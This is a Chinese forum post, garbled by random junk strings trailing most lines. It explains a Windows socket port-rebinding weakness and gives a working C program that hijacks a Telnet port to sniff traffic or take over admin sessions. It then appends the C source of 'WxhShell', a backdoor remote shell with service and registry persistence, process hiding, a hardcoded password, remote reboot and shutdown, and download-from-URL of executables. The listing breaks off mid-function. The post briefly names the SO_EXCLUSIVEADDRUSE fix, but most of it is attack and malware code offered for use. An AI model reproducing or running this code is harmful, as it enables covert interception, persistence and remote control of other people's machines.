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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *U_oao  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v8'5pLt"  
P']Y( !L  
  saddr.sin_family = AF_INET; *rf$>8~$n  
aR)?a;}H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ik\S88|  
\ja `c)x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GYoseqZM  
.'lN4x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &HL{LnLP@/  
oD0EOT/E  
  这意味着什么?意味着可以进行如下的攻击: H[nz]s  
L_?$ayZ;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a5V=!OoMk  
o5 WW{)Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _9kIRmT{  
Tl3"PIb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TQ'e  
n(R_#,Hs  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;rHz;]si  
/b{HG7i\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [`nY2[A$  
9L"?wv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;BVDt  
} yq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 euZ I`*0  
-3vh!JMN  
  #include ^:z7E1 ~  
  #include 9h&yuS'Yj  
  #include NvHN -^2  
  #include    X9~p4ys9{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {^m5#f 0"  
  int main() P(;Mb{  
  { ]o*$h$?s  
  WORD wVersionRequested; )4ncutb  
  DWORD ret; O<X )p`,`  
  WSADATA wsaData; 38wq (  
  BOOL val; sX'nn   
  SOCKADDR_IN saddr; *#h;c1aP  
  SOCKADDR_IN scaddr; 3 Gd|YRtk  
  int err; (\& 62B1  
  SOCKET s; !Uy>eji}  
  SOCKET sc; e1 ^l.>2d6  
  int caddsize; or.\)(m#(  
  HANDLE mt; EfKntrom[  
  DWORD tid;   yVYkuO  
  wVersionRequested = MAKEWORD( 2, 2 ); Ja [#[BJ?  
  err = WSAStartup( wVersionRequested, &wsaData ); c F=P!2 @  
  if ( err != 0 ) { !*bdG(pK  
  printf("error!WSAStartup failed!\n"); qTy v.#{y  
  return -1; bA *"ei+!  
  } S:GTc QU  
  saddr.sin_family = AF_INET; 4J}3,+  
   !. eAOuq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "TFwHe3C4  
26PD[af64O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x4 hO$3o  
  saddr.sin_port = htons(23); j@t{@Ke  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |j# ^@R  
  { ccMd/  
  printf("error!socket failed!\n"); :rmauKR  
  return -1; 4(|yD;  
  } 0BDS_Rx  
  val = TRUE; pVz*ZQ[]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PWG;&ma  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7LdzZS0OM  
  { fTgbF{?xh  
  printf("error!setsockopt failed!\n"); }4KW@L[g  
  return -1; zbg+6qs})  
  } Pz1G<eh#{g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mu>] 9ZW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UR,?!rJ^B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^U{P3 %uZ  
;@4sd%L8V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UN(3i(d  
  { )Ga8`t"  
  ret=GetLastError(); PW)8aLU  
  printf("error!bind failed!\n"); _yJ|`g]U3  
  return -1; +wAp,Xr  
  } %omu  
  listen(s,2); |D+p$^L  
  while(1) Ays L-sqR  
  { R8ZD#,;  
  caddsize = sizeof(scaddr); U!NI_uk  
  //接受连接请求 kQ[Jo%YT?E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2-7Z(7G{ F  
  if(sc!=INVALID_SOCKET) mtX31 M4  
  { Gw`/.0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c_DaNEfaY  
  if(mt==NULL) i'iO H|s  
  { g-|Kyhr?=  
  printf("Thread Creat Failed!\n"); #/s7\2  
  break; NfqJ=9  
  } I1i:}g/  
  } "$P'Wv  
  CloseHandle(mt); %2YN,a4  
  } fFHK:n`  
  closesocket(s); Iu%^*K%  
  WSACleanup(); Iht'e8)gq  
  return 0; O$U}d-Xnx  
  }   4znH$M>bU  
  DWORD WINAPI ClientThread(LPVOID lpParam) C$_G'XI  
  { 8=pv/o  
  SOCKET ss = (SOCKET)lpParam; A$ J9U3+O  
  SOCKET sc; yWmrdvL  
  unsigned char buf[4096]; ?-S8yqe  
  SOCKADDR_IN saddr; wA1Ey:q  
  long num; 0}D-KvjyP  
  DWORD val; HoL~j({  
  DWORD ret; y:C)%cv}*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L9$&-A9ix  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i)[kubM  
  saddr.sin_family = AF_INET; LS{bg.e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0W_mCV  
  saddr.sin_port = htons(23); X*)?LxTj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '9"%@AFxZ  
  { {=qEBbM  
  printf("error!socket failed!\n"); M6&~LI.We=  
  return -1; n_1jHJo  
  } /Bh>  
  val = 100; 6UO$z-e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yYM_lobn  
  { e|JIrOnc  
  ret = GetLastError(); e) ]RA?bF  
  return -1; pbPz$Y  
  } [0wP\{%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dD o6fP2  
  { i`R(7Z  
  ret = GetLastError(); ^K"ZJ6?+1  
  return -1; :q(D(mK  
  } B_!wutV@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gU+ss  
  { 1z3]PA!R  
  printf("error!socket connect failed!\n"); \FVNXU MU  
  closesocket(sc); B#QL M^  
  closesocket(ss); b]"2 VN  
  return -1; }#&~w 0P  
  } ma1 (EJ/  
  while(1) eVrnVPkM  
  { )=y.^@UT@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q*Y 4m8wY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K[*h+YO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zUJx&5/  
  num = recv(ss,buf,4096,0); lQh~Q<[ge  
  if(num>0) 40R"^*  
  send(sc,buf,num,0); VZHr-z$6n  
  else if(num==0) 28ja-1dB  
  break; 0e)lY='^_  
  num = recv(sc,buf,4096,0); > CH  
  if(num>0) "oHp.$+K  
  send(ss,buf,num,0); xm^N8  
  else if(num==0) k]t,q$Vd  
  break; |y klT  
  } 'y< t/qo  
  closesocket(ss); bB y'v/  
  closesocket(sc); Ywmyr[Uh'  
  return 0 ; JaA&eT|  
  } `(P "u  
x!OWJ/O  
EG%I1F%  
========================================================== mZ]P[lQ'5  
?n2C  
下边附上一个代码,,WXhSHELL *3 !(*F@M,  
dr.**fGYde  
========================================================== (Z5q&#f  
MST:.x ;  
#include "stdafx.h" 15o9CaQw4"  
: 2_ 0L  
#include <stdio.h> =n)JJS94  
#include <string.h> EK^JLvyT  
#include <windows.h> s;anP0-O  
#include <winsock2.h> UVz=QEuYb  
#include <winsvc.h> =sxkrih  
#include <urlmon.h> J 0&zb'1  
Tc9&mKVE%(  
#pragma comment (lib, "Ws2_32.lib") ,?Ok[G!cm  
#pragma comment (lib, "urlmon.lib") TFNUv<>X  
j[_t6Z  
#define MAX_USER   100 // 最大客户端连接数 )uANmThOz  
#define BUF_SOCK   200 // sock buffer _L8Mpx*E  
#define KEY_BUFF   255 // 输入 buffer C(f$!~M4b  
_c[|@D  
#define REBOOT     0   // 重启 3xRM 1GgO  
#define SHUTDOWN   1   // 关机 n/xXQ7y  
|!{ z? i  
#define DEF_PORT   5000 // 监听端口 KrJ5"1=  
5BrU'NF  
#define REG_LEN     16   // 注册表键长度 lq~Gc M  
#define SVC_LEN     80   // NT服务名长度 B.V?s,U  
t-'I`I  
// 从dll定义API ,NjX&A@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2j2mW>Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y,3z-Pa=@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u9esdOv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Q:de~+AM{  
H~~7~1"x  
// wxhshell配置信息 lt }r}HM+  
struct WSCFG {  -PcS(  
  int ws_port;         // 监听端口 Cw6>^  
  char ws_passstr[REG_LEN]; // 口令 n>u.3w L  
  int ws_autoins;       // 安装标记, 1=yes 0=no wYZy e^7  
  char ws_regname[REG_LEN]; // 注册表键名 W/b"a?wE{  
  char ws_svcname[REG_LEN]; // 服务名 s.f`.o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d&/^34gn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >_rzT9gX&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ` 52% XI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =9kj? u~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]\[m=0K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jn.R.}TT  
@<hF.4,]  
}; ;gZwQ6)i  
2b; rr  
// default Wxhshell configuration &r&;<Q  
struct WSCFG wscfg={DEF_PORT, V*~1,6N [  
    "xuhuanlingzhe", ,h3269$J  
    1, J@oEV=L  
    "Wxhshell", ?R dmKA  
    "Wxhshell", Mi;}.K0J  
            "WxhShell Service", =6.8bZT\  
    "Wrsky Windows CmdShell Service", :&xz5c`"04  
    "Please Input Your Password: ", 83mlZ1jQz  
  1, NYWG#4D  
  "http://www.wrsky.com/wxhshell.exe", kA?X^nj@  
  "Wxhshell.exe" Ll008.#  
    }; r~8D\_=s  
^>3tYg&7  
// 消息定义模块 L4MxU 2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xnJjCEZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~%olCxfO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .}IK}A/-  
char *msg_ws_ext="\n\rExit."; JoZqLy!@  
char *msg_ws_end="\n\rQuit."; <m?GJuQ'  
char *msg_ws_boot="\n\rReboot..."; /X(@|tk:  
char *msg_ws_poff="\n\rShutdown..."; &p/S>qKu#  
char *msg_ws_down="\n\rSave to "; _<Hb(z  
{Q{lb(6Ba  
char *msg_ws_err="\n\rErr!"; fG:PdIJ7_  
char *msg_ws_ok="\n\rOK!"; k! J4Z ${k  
L9E;Uii0  
char ExeFile[MAX_PATH]; BNAguAxWo  
int nUser = 0; B'WCN&N  
HANDLE handles[MAX_USER]; 5*s1qA0^  
int OsIsNt; Qv9*p('~A  
N&6_8=3z  
SERVICE_STATUS       serviceStatus; nz,Mqol  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hQgk.$g  
'hwV   
// 函数声明 OaD Alrm  
int Install(void); 3a'Rs{qxn  
int Uninstall(void); :z izca4  
int DownloadFile(char *sURL, SOCKET wsh); p)?qJ2c|  
int Boot(int flag); ikEWY_1Y  
void HideProc(void); <7_ |Q   
int GetOsVer(void); /|4Q9=  
int Wxhshell(SOCKET wsl); Bo\a  
void TalkWithClient(void *cs); ^kCk^D-Gz  
int CmdShell(SOCKET sock); jI*}y[o  
int StartFromService(void); %Y)PH-z  
int StartWxhshell(LPSTR lpCmdLine); _aXP ;kFMi  
KKeb ioW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b xk'a,!S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IqvqvHxLX  
`^X RrVX<  
// 数据结构和表定义 FbNH+?  
SERVICE_TABLE_ENTRY DispatchTable[] = 8! |.H p  
{ HMEs8.  
{wscfg.ws_svcname, NTServiceMain}, w6WGFQ_%  
{NULL, NULL} SeRK7Q&_  
}; p=8M0k  
p\\P50(-  
// 自我安装 ;#5-.z  
int Install(void) LW83Y/7  
{ pz*/4  
  char svExeFile[MAX_PATH]; yiv RpSL  
  HKEY key; 7`uA  
  strcpy(svExeFile,ExeFile); `'G),{ j  
8 7|8eU2:k  
// 如果是win9x系统,修改注册表设为自启动 :)A.E}G  
if(!OsIsNt) { :|3"H&FWK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TRr4`y%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eLDL  "L  
  RegCloseKey(key); 4 BE:&A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wRV`v$*6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C)&gL=O*$  
  RegCloseKey(key); @,y FY  
  return 0; &P,4EaC9;  
    } 9AVK_   
  } VuO)  
} hIzPy3  
else { \0*yxSg,^  
k<j)?_=`  
// 如果是NT以上系统,安装为系统服务 AT8B!m   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cOZajC<G  
if (schSCManager!=0) U47k5s(J  
{ T_oW)G  
  SC_HANDLE schService = CreateService iaa (ce  
  ( R+ #.bQg  
  schSCManager, 5EV8zf  
  wscfg.ws_svcname, mISu o  
  wscfg.ws_svcdisp, ( 7Ca\H3$  
  SERVICE_ALL_ACCESS, ?^G$;X7B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sxC{\iLY%  
  SERVICE_AUTO_START,  h>L6{d1  
  SERVICE_ERROR_NORMAL, Me K\eZ\  
  svExeFile, #:ED 0</  
  NULL, 9%)& }KK|  
  NULL, 2fL88/'  
  NULL, C(%5,|6  
  NULL, 9^Vx*KVrU  
  NULL {L2Gb(YLW  
  ); eed\0  
  if (schService!=0) <1'X)n&Kw$  
  { n nnA,  
  CloseServiceHandle(schService); HU'`kimWb  
  CloseServiceHandle(schSCManager); 1^H<+0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7q{v9xKy  
  strcat(svExeFile,wscfg.ws_svcname); `w+9j-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PEQvEruZ}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @9kk f{?  
  RegCloseKey(key); OHtZ"^YG  
  return 0; ^J5V!i$  
    } CK`3   
  } Kp=3\)&  
  CloseServiceHandle(schSCManager); %Ty {1'o  
} F0ivL`  
} K/.hJ  
!\k#{ 1[!  
return 1; _~#C $-T  
} v%8-Al^G  
6~Oje>w;  
// 自我卸载 +sbacMfq  
int Uninstall(void) .LTFa.jxA  
{ ` Ehgn?6'  
  HKEY key; ;eEtdoy  
7;s0m0<%~  
if(!OsIsNt) { PQ#-.K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { md +`#-D\O  
  RegDeleteValue(key,wscfg.ws_regname); fD}]Mi:V  
  RegCloseKey(key); tlxjs]{0E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X1z0'gvh  
  RegDeleteValue(key,wscfg.ws_regname); Ly/~N/<\  
  RegCloseKey(key); T^H) lC#R  
  return 0; 3$G25=eN  
  } Hf]}OvT>Z  
} Ecl7=-y  
} 3bL2fsn5  
else { z)y(31K<1  
8;BwzRtgT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @:&dOqQ  
if (schSCManager!=0) 2<./HH*f  
{ 5<8>G?Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QS?9&+JM|  
  if (schService!=0) QMpA~x_m  
  { ,ui'^8{gK  
  if(DeleteService(schService)!=0) { 8ewEdnE   
  CloseServiceHandle(schService); w)SxwlW}  
  CloseServiceHandle(schSCManager); =` >Nfa+,  
  return 0; s+G9L)b'  
  } %z_b/yG  
  CloseServiceHandle(schService); w}<I\*\`!  
  } 7Ki7N{K t  
  CloseServiceHandle(schSCManager); EGO@`<"h  
} X \ZUt >  
} @!HMd{r  
! r\ktX  
return 1; c`=h K*  
} |L-juT X9  
WZ-{K"56  
// 从指定url下载文件 <[??\YOc  
int DownloadFile(char *sURL, SOCKET wsh) Bm>(m{sX>  
{ 6j![m+vo%  
  HRESULT hr; XYVeHP!  
char seps[]= "/"; S(s~4(o>8  
char *token; Lh$ac-Ct  
char *file; *#9kFz-  
char myURL[MAX_PATH]; 3+PM_c)Y  
char myFILE[MAX_PATH]; *M5C*}dl  
4tKf  
strcpy(myURL,sURL); ZWW}r~d{  
  token=strtok(myURL,seps); +& Qqu`)?F  
  while(token!=NULL) *Y?]="8c#;  
  { >u[ln@ l  
    file=token; c(JO;=,@9  
  token=strtok(NULL,seps); Z)~4)71Y:  
  } .6(i5K  
#r}c<?>Vw  
GetCurrentDirectory(MAX_PATH,myFILE); }RK9Onh3G  
strcat(myFILE, "\\"); }k~0R-m  
strcat(myFILE, file); sNTfRPC  
  send(wsh,myFILE,strlen(myFILE),0); I<#kw)W!  
send(wsh,"...",3,0); --D`YmB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QY! A[!6h  
  if(hr==S_OK) P0<uF`87  
return 0; 8ttw!x69)_  
else )E|Bb=%  
return 1; \NRRN eu|  
:oQaN[3>_  
} {[dqXG$v `  
I}{eYXh  
// 系统电源模块 eIl&=gZ6>  
int Boot(int flag) ~A( Pa-  
{ "b;?2_w:E  
  HANDLE hToken; n9ih^H  
  TOKEN_PRIVILEGES tkp; .d,Zx  
VI{1SIhfa  
  if(OsIsNt) { Kxn=iv^Ir  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7Q&P4{hi0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <Do89  
    tkp.PrivilegeCount = 1; "tIx$?I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T9 1Iz+j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9`{cX  
if(flag==REBOOT) { 7[PXZT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eX/$[SL[  
  return 0; 7;V5hul  
} /:)4tIV  
else { aJ ts  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bf.RYLsh6  
  return 0; :A[/;|&  
} 70Am]L&M  
  } EOiKwhrV  
  else { /WMLr5  
if(flag==REBOOT) { Phczf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3`y:W9!u  
  return 0;  S_atEmQ  
} uo^>95lkv  
else { T/ov0l_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,o`qB81  
  return 0; S;C3R5*:  
} bP[/  
} dK-G%5)r  
XN Y(@  
return 1; F&\o1g-L  
} d0,I] "  
-p 1arA  
// win9x进程隐藏模块 )xeVoAg  
void HideProc(void) F^ f]*MhT"  
{ xiiZ'U  
Ce:kMkJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); = 2k+/0ZbP  
  if ( hKernel != NULL ) ]PFc8qv{  
  { +1Uw<~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OCd[P1Y]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,/KHKLY7  
    FreeLibrary(hKernel); 4xlsdq8`t  
  } LZeR .8XM>  
nD_g84us  
return; +$9w[ARN+  
} O;XF'r_  
myYe~f4=HQ  
// 获取操作系统版本 I%ez_VG  
int GetOsVer(void) ]KfHuYjM  
{ Vq*p?cF .  
  OSVERSIONINFO winfo; ZE :oK   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k`?n("j  
  GetVersionEx(&winfo); 1F=x~FMvY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h1BdASn_  
  return 1; .RT5sj\d  
  else v4&*iT  
  return 0; rnW i<Se  
} 1q*3V8  
.VI2V-Q  
// 客户端句柄模块 PBUc9/  
int Wxhshell(SOCKET wsl) `a J[ !O  
{ 29E^]IL?  
  SOCKET wsh; |h3 YL!  
  struct sockaddr_in client; ^Ab|\ 5^3  
  DWORD myID; G~_dSa@g G  
wk3yz6V2  
  while(nUser<MAX_USER) R4o_zwWgPw  
{ FNUue  
  int nSize=sizeof(client); 7==Uoy*O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +>s[w{Svy  
  if(wsh==INVALID_SOCKET) return 1; p1Els /|  
NZ Xmrc{S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U*6r".sz  
if(handles[nUser]==0) rc"Z$qU?  
  closesocket(wsh); U?kJXM2  
else gHTo|2 Q{  
  nUser++; fHM<6i<C  
  } D@!#79:)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H3&$:h  
0{ \AP<  
  return 0; t,&1~_9  
} "*?^'(yA@  
oas}8A)  
// 关闭 socket 32dR`qb  
void CloseIt(SOCKET wsh) p0[ %+n%  
{ "/wZtc  
closesocket(wsh); G !wFG-Y}  
nUser--; h\jwXMi,tj  
ExitThread(0); y_QK _R<f  
} ,zO!`|I  
Yf<6[(6 O  
// 客户端请求句柄 4R.rSsAH  
void TalkWithClient(void *cs) 06L/i,  
{ &_G^=Nc,H  
U }xRvNz  
  SOCKET wsh=(SOCKET)cs; !@5B:n*  
  char pwd[SVC_LEN]; fm Fh.m.+N  
  char cmd[KEY_BUFF]; Q/L:0ovR  
char chr[1]; r65/O5F  
int i,j; P6@(nGgK<  
K8f;AK  
  while (nUser < MAX_USER) { oF8#gn_  
|cUTP!iy  
if(wscfg.ws_passstr) { !3E33  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jwgd9a5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >Ta|#]{  
  //ZeroMemory(pwd,KEY_BUFF); iW9G0Ay  
      i=0; N8_ c%6GE  
  while(i<SVC_LEN) { %9C_p]P*  
?%d]iTZE  
  // 设置超时 OLg=kF[[  
  fd_set FdRead; 4'_PLOgnX  
  struct timeval TimeOut; B=8],_  
  FD_ZERO(&FdRead); U8m/L^zh  
  FD_SET(wsh,&FdRead); \("|X>00  
  TimeOut.tv_sec=8; HN?NY  
  TimeOut.tv_usec=0; !#xk?LyB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j]~;|V5Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \jH^OXxb  
u?,M`w0'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mO%F {'  
  pwd=chr[0]; RzgA;ZC'  
  if(chr[0]==0xd || chr[0]==0xa) { :|%k*z  
  pwd=0; ,}?x!3  
  break; )i|0Ubn[|  
  } l/ufu[x!a  
  i++; ,sF49C D  
    } T8'm{[C  
$z[FL=h)?+  
  // 如果是非法用户,关闭 socket #$-{hg{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^E-BB 6D  
} Fp=O:]  
tr?U/YG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !W2dMD/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dA 03,s  
] 40@yrc  
while(1) { Y-YlQ ^  
v_G1YC7TU  
  ZeroMemory(cmd,KEY_BUFF); !DU4iq_.  
#X 1 GL  
      // 自动支持客户端 telnet标准   ^?<gz!(-  
  j=0; mZ_643|  
  while(j<KEY_BUFF) { o|`%>&jP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )wqG^yv  
  cmd[j]=chr[0]; ;+;%s D  
  if(chr[0]==0xa || chr[0]==0xd) { Rq@M~;p  
  cmd[j]=0;  :d) y  
  break; % H/V iC  
  } ]Y;5U  
  j++; -_[ZRf?^  
    } IEmjWw4  
b%wm-p  
  // 下载文件 ^7l+ Of b3  
  if(strstr(cmd,"http://")) { ;X;q8J^_K_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [ikW3 '99,  
  if(DownloadFile(cmd,wsh)) 7ILb&JQ!%{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wd>gOE  
  else pOq9J7BS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1G;JK  
  } i K,^|Q8  
  else { JavSR1_  
O&g$dK!Rad  
    switch(cmd[0]) { +bdjZD3  
  JRr'81\  
  // 帮助 AGGNJ4m  
  case '?': { p N+1/m,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); | Kw}S/F  
    break; Lj2Au_5  
  } IeT1Jwe  
  // 安装 ;d<RP VE:  
  case 'i': { vYNu=vnM  
    if(Install()) @)x8<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yL #2|t(  
    else 5Y#~+Im=[@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d>hLnz1O  
    break; DAVgP7h'  
    } t|]2\6acuc  
  // 卸载 d9pZg=$8  
  case 'r': { }ZB :nnG  
    if(Uninstall()) ay>u``$R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "yf#sEabV  
    else :<PwG]LO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZ)$lw/!J  
    break; I%tJLdL  
    } \[Q*d  
  // 显示 wxhshell 所在路径 Zp_vv@s  
  case 'p': { ~9JLqN"  
    char svExeFile[MAX_PATH]; $;As7MI  
    strcpy(svExeFile,"\n\r"); WmTg`[  
      strcat(svExeFile,ExeFile); !~QmY,R  
        send(wsh,svExeFile,strlen(svExeFile),0); ?X~U[dV?  
    break;  IA{I|g<  
    } -J(93@X 9  
  // 重启 1gh<nn  
  case 'b': { {N`<TH PP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L%5g]=  
    if(Boot(REBOOT)) `>N_A!pr`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6*8CQ+  
    else { Pj7n_&*/  
    closesocket(wsh); gvy c(d  
    ExitThread(0); xAJuIR1Hi  
    } /8"9 sf *  
    break; sFa5#w*>  
    } m\;@~o'k  
  // 关机 Yxd&hr  
  case 'd': { nEbJ,#>Z  
